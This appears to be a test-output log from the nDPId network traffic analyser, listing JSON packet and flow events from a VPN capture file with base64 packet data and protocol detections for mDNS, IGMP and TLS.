+00519{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687257,"pkt_ts_usec":12674,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"NDY7z3UoLH6BsEqhCABFAABzVOFAACoGyO40JfOtCgAA4wG73lJr8i67e2gztYAYAAlXSQAAAQEICgJga5AcDaeBFwMDADr34AORZ\/mswNYfmNi7\/+6i2ig9OqqyvrgbKQJR8qDwLIs02hMuySZ+JbUzHN4FJfLFnMXUzMRsZoxp"} +00433{"flow_id":14,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687257,"pkt_ts_usec":12764,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGCA8KAADjNCXzrd5SAbt7aDO1a\/Iu+oAQD\/7YTgAAAQEIChwNp6UCYGuQ"} +00521{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687257,"pkt_ts_usec":984922,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"LH6BsEqhNDY7z3UoCABFAABzAABAAEAGB9AKAADjNCXzrd5TAbsf\/fBecO3WJIAYEADn9wAAAQEIChwNq2wAjYaQFwMDADoAAAAAAAAABl\/SrHoqKXSzyLq95nfMqN\/R0VHZx30WEMc1I5zcFMzTdCQXjG0ezvYo7QrOFylBAnZU"} +00518{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687258,"pkt_ts_usec":21806,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"NDY7z3UoLH6BsEqhCABFAABzy8VAACsGUQo0JfOtCgAA4wG73lNw7dYkH\/3wnYAYAAmnHQAAAQEICgCNkP0cDatsFwMDADoscoyH7e3mELBK2d4xy1OsgkHRaRwhAoZTVn3ilJ4pAYyRlRs1EXZaYPdw22i2nO8w6wO1EsutrZ9I"} +00433{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687258,"pkt_ts_usec":21922,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGCA8KAADjNCXzrd5TAbsf\/fCdcO3WY4AQD\/6i5QAAAQEIChwNq5EAjZD9"} +00555{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687259,"pkt_ts_usec":269679,"pkt_caplen":154,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":154,"pkt_l4_len":120,"pkt":"AQBeAAD7GIEORo7ICABFAACMyOAAAP8RBrAKAADV4AAA+xTpFOkAeGDGAAAAAAADAAAAAAABD19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMgAEIX2hvbWVraXTAHAAMgAEMX3NsZWVwLXByb3h5BF91ZHDAIQAMgAEAACkFoAAAEZQAEgAEAA4AmzqBDkaOyBiBDkaOyA=="} +00583{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687259,"pkt_ts_usec":270105,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAD7GIEORo7Iht1gBoi5AHgR\/\/6AAAAAAAAABAg+RTq8FVL\/AgAAAAAAAAAAAAAAAAD7FOkU6QB4u7wAAAAAAAMAAAAAAAEPX2NvbXBhbmlvbi1saW5rBF90Y3AFbG9jYWwAAAyAAQhfaG9tZWtpdMAcAAyAAQxfc2xlZXAtcHJveHkEX3VkcMAhAAyAAQAAKQWgAAARlAASAAQADgCbOoEORo7IGIEORo7I"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":167,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1569687259297,"flow_last_seen":0,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":240,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":240,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.213","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00715{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687259,"pkt_ts_usec":297056,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"GIEORo7INDY7z3UoCABFAAEEsFAAAP8R9OAKAADjCgAA1RTpFOkA8ADKAACEAAAAAAEAAAAED19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEAABGUABQRTFAtUktFUlVSLU9TWCAoOSnADMAyACGAAQAAAHgADQAAAADbaQRuRFBJwCHAMgAQgAEAABGUACIWcnBCQT0zNzoyRTo0Nzo2RDoxODo1NApycFZyPTE1Mi4xEUxQLVJLRVJVUi1PU1ggKDkpDF9kZXZpY2UtaW5mb8AcABAAAQAAEZQAIBRtb2RlbD1NYWNCb29rUHJvMTEsMQpvc3h2ZXJzPTE3wFgAAYABAAAAeAAECgAA4w=="} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":167,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1569687259297,"flow_last_seen":0,"flow_tot_l4_data_len":240,"flow_min_l4_data_len":240,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":240,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"10.0.0.213","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_companion-link._tcp.local"}} +00585{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687259,"pkt_ts_usec":679362,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00417{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687259,"pkt_ts_usec":694130,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LH6BsEqhNDY7z3UoCABFAAAo3\/wAAEAGn4oKAADjuBk4Td5VAFBor5ytCT1EPVAQEAlzBQAA"} +00416{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687259,"pkt_ts_usec":694131,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LH6BsEqhNDY7z3UoCABFAAAoLkYAAEAGUUEKAADjuBk4Td40AFBjyKiAGk9l7lAQEAA5gAAA"} +00432{"flow_id":24,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687259,"pkt_ts_usec":710445,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0uJtAADgGjt+4GThNCgAA4wBQ3lUJPUQ9aK+croAQAOvGjAAAAQEICuMVH+AcDWN7"} +00432{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687259,"pkt_ts_usec":715492,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0NJlAADcGE+K4GThNCgAA4wBQ3jQaT2XuY8iogYAQAPOM2AAAAQEICuMVH+UcDWOU"} +00436{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":173,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1569687260293,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.2","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00408{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":293660,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBeAAACGIEORo7ICABGAAAgPP4AAAEC\/QIKAADV4AAAApQEAAAXAAgE4AAA+w=="} +00468{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":173,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1569687260293,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.2","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00438{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":174,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1569687260293,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.251","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00407{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":293706,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBeAAD7GIEORo7ICABGAAAgpGYAAAEClKEKAADV4AAA+5QEAAAWAAkE4AAA+w=="} +00470{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":174,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1569687260293,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.213","dst_ip":"224.0.0.251","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00595{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":294255,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"AQBeAAD7GIEORo7ICABFAACsLkIAAP8RoS4KAADV4AAA+xTpFOkAmDTPAAAAAAADAAEAAAABD19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEIX2hvbWVraXTAHAAMAAEMX3NsZWVwLXByb3h5BF91ZHDAIQAMAAHADAAMAAEAAA4QABQRTFAtUktFUlVSLU9TWCAoOSnADAAAKQWgAAARlAASAAQADgCbOoEORo7IGIEORo7I"} +00627{"flow_id":19,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":294693,"pkt_caplen":206,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":206,"pkt_l4_len":152,"pkt":"MzMAAAD7GIEORo7Iht1gBoi5AJgR\/\/6AAAAAAAAABAg+RTq8FVL\/AgAAAAAAAAAAAAAAAAD7FOkU6QCYj8UAAAAAAAMAAQAAAAEPX2NvbXBhbmlvbi1saW5rBF90Y3AFbG9jYWwAAAwAAQhfaG9tZWtpdMAcAAwAAQxfc2xlZXAtcHJveHkEX3VkcMAhAAwAAcAMAAwAAQAADhAAFBFMUC1SS0VSVVItT1NYICg5KcAMAAApBaAAABGUABIABAAOAJs6gQ5GjsgYgQ5Gjsg="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":177,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1569687260469,"flow_last_seen":0,"flow_tot_l4_data_len":70,"flow_min_l4_data_len":70,"flow_max_l4_data_len":70,"flow_avg_l4_data_len":70,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"35.201.124.9","src_port":56910,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":469013,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"LH6BsEqhNDY7z3UoCABFAABaAABAAEAGj+kKAADjI8l8Cd5OAbsN94yysPePlIAYEACJPAAAAQEIChwNtRgGQIQkFwMDACEAAAAAAAAAA3VW6sM2CHDT\/Oy2e1MF3bFmEvrGQamtRJY="} +00432{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":489093,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0Bk0AAHoGj8IjyXwJCgAA4wG73k6w94+UDfeM2IAQAPROCgAAAQEICgZA6j4cDbUY"} +00476{"flow_id":32,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":521340,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"NDY7z3UoLH6BsEqhCABFAABUBk4AAHoGj6EjyXwJCgAA4wG73k6w94+UDfeM2IAYAPS6xgAAAQEICgZA6l4cDbUYFwMDABsAAAAAAAAABNY2znqkTRgDlTqE63fXsBbyQmM="} +00433{"flow_id":32,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":521410,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGkA8KAADjI8l8Cd5OAbsN94zYsPePtIAQD\/8+iwAAAQEIChwNtUwGQOpe"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":181,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1569687260591,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.96.194","src_port":56921,"dst_port":4287,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":591875,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"LH6BsEqhNDY7z3UoCABFAABAAABAAEAGxu4KAADjCCVgwt5ZEL8UzEFoAAAAALAC\/\/+sRwAAAgQFtAEDAwUBAQgKHA21kQAAAAAEAgAA"} +00450{"flow_id":33,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":620412,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"NDY7z3UoLH6BsEqhCABFAABAE+xAAPEGAgIIJWDCCgAA4xC\/3lkWZHs7FMxBabASECzSsgAAAgQFZAEDAwIBAQgKeKa\/ZBwNtZEEAgAA"} +00432{"flow_id":33,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":620471,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGxvoKAADjCCVgwt5ZEL8UzEFpFmR7PIAQEAgSNwAAAQEIChwNta14pr9k"} +00637{"flow_id":33,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":620743,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"LH6BsEqhNDY7z3UoCABFAADIAABAAEAGxmYKAADjCCVgwt5ZEL8UzEFpFmR7PIAYEAijywAAAQEIChwNta14pr9kFgMBAI8BAACLAwMD1fZJLnU2wbbg4p6uNb1F++uvR9\/ndJiHrNU+USXu3wAADsAwwCjAFMAJwBMAMwD\/AQAAVAALAAQDAAECAAoADAAKAB0AFwAeABkAGAAWAAAAFwAAAA0AMAAuBAMFAwYDCAcICAgJCAoICwgECAUIBgQBBQEGAQMDAgMDAQIBAwICAgQCBQIGAg=="} +00774{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":184,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":4,"flow_first_seen":1569687260591,"flow_last_seen":1569687260620,"flow_tot_l4_data_len":300,"flow_min_l4_data_len":32,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.96.194","src_port":56921,"dst_port":4287,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"e3adec914f3893f18136762f1c0d7d81","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00435{"flow_id":33,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":655570,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0E\/NAAPEGAgcIJWDCCgAA4xC\/3lkWZHs8FMxB\/YAQBDAdWQAAAQEICnimv4YcDbWt"} +02212{"flow_id":33,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":667151,"pkt_caplen":1374,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1374,"pkt_l4_len":1340,"pkt":"NDY7z3UoLH6BsEqhCABFAAVQE\/lAAPEG\/OQIJWDCCgAA4xC\/3lkWZHs8FMxB\/YAYBDDc3gAAAQEICnimv5AcDbWtFgMDAF0CAABZAwMaAXyK9KQuuGETu8cld9JV+FK0SGZRa7CR6lzcsmkkxyBhHCxWTv40pUYrPrn3znrxjXuLJZACYw3f0K4HrVcFssAwAAAR\/wEAAQAACwAEAwABAgAXAAAWAwMDPAsAAzgAAzUAAzIwggMuMIICFqADAgECAgg\/CBLhDwTMuTANBgkqhkiG9w0BAQsFADBXMRswGQYDVQQDDBI4MTM4NDU2NTcwMDMzMzk4MzgxDzANBgNVBAoMBkNvZGU0MjENMAsGA1UECwwEVEVTVDELMAkGA1UECAwCTU4xCzAJBgNVBAYTAlVTMB4XDTE5MDgyOTAwMTI0MFoXDTE5MTAwODAwMTI0MFowVzEbMBkGA1UEAwwSODEzODQ1NjU3MDAzMzM5ODM4MQ8wDQYDVQQKDAZDb2RlNDIxDTALBgNVBAsMBFRFU1QxCzAJBgNVBAgMAk1OMQswCQYDVQQGEwJVUzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM61Q49djLnJMOmkIF0ll0F\/YDwr0sJF\/HQcSR5fSdw7EdXfDbna6x6jdhxE3Qn9gu2zsKj9DdoI9x8pHf25SLIxWtWtVXw64g9Cp6Akq6ue6XUldOaLIbFwakz0yvQNQHH4InGpGhOI0r\/JKwLXHTVarq8xZxz1qic9dGtps1TA1LnKt1ghcAC9UIhSSffTCRd3Hsuy9tV+rAge2xQcSFu5jpM3jMoIhFZ64uHnyNVlB\/PvazPdCIc\/da6TNg09oFSH\/qcSJW25ei7RChN\/n+1Y9ZZlpthcccET79wBa7HyRx3NeKMXBXMjRpZ5jHAXjnoyo9EGU5NYfQfrfADRdd0CAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAaWilMnLLGQ2gXstlhQSHl0BxH9M1oZmy0zk+yCz0sx7sp4N4CzNfdXnzRNI1nOOjvmDOnoK\/rjhx5CHC5BKV8qXQgywjLv6TpvGuwR9ek3LBZZJgG6pIgEiCQy4fR4d0eonjwAPqjoL3IN6\/RLFeqp9yodmk0KnOElyg7\/70JrdDnAIUs\/fmFwqS5e9nnGF6lD+dFubpkplRTiN\/2sgrSN5o5wq\/jZw9\/jv07RNxswZ5b\/Xd\/m0seIx6S1aem4yFFpkW0ITMdscZToISSQJH21J82w7v+XjWmRg8mKpjueRaAmkWA0zA0X3yGm4a1zZlebgdFsP+1JTYS0\/4f7yL4hYDAwEsDAABKAMAHSCydU7QFYlE7imdhqa9AKGI8iMYpyccCRVwdMVtjxjGHAgEAQAOARPwkWMmg0R+fWFN8NRAQUSZPBqQ+HjdO1UI\/nFIojvvLcZsbxvEaJchrGKOwGbSsdK7ByPKFgf4xrxfWdx2lNjk0e9lLlSj20fPMXT0xD27Ai3JNC25GENTyTLxYdyFsANrA8WgEjo\/iRVH7lEYalpVjfagu0RxdU3ZUg2ouUrRkO8szgI+\/GQEOrUzC8+QTDEY9Md++ju1GWO07jJJf\/OlJg4H696Xgf+QXL0iAe5WMgucOeJioRMeA4H9BQGTv5XmpzqP\/6JX0BzGjc\/BbpIF2EPv\/T+uQX1X6A8Kw18ZHBNrHocnkRYb3DnvtB5Jzn0dqWmkTJauRfEbYX3tFgMDADoNAAA2AwECQAAuBAMFAwYDCAcICAgJCAoICwgECAUIBgQBBQEGAQMDAgMDAQIBAwICAgQCBQIGAgAAFgMDAAQOAAAA"} +01071{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":186,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":6,"flow_first_seen":1569687260591,"flow_last_seen":1569687260667,"flow_tot_l4_data_len":1672,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1340,"flow_avg_l4_data_len":278,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.96.194","src_port":56921,"dst_port":4287,"l4_proto":"tcp","ndpi": {"flow_risk": {"6":"Self-signed Certificate","15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"e3adec914f3893f18136762f1c0d7d81","ja3s":"e54965894d6b45ecb4323c7ea3d6c115","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"CN=813845657003339838, O=Code42, OU=TEST, ST=MN, C=US","issuerDN":"CN=813845657003339838, O=Code42, OU=TEST, ST=MN, C=US","fingerprint":"86:2A:47:EF:00:68:79:60:7F:94:E2:91:6F:E0:38:82:37:8A:8E:2E"}} +00432{"flow_id":33,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687260,"pkt_ts_usec":667209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGxvoKAADjCCVgwt5ZEL8UzEH9FmSAWIAQD98MVwAAAQEIChwNtdp4pr+Q"} 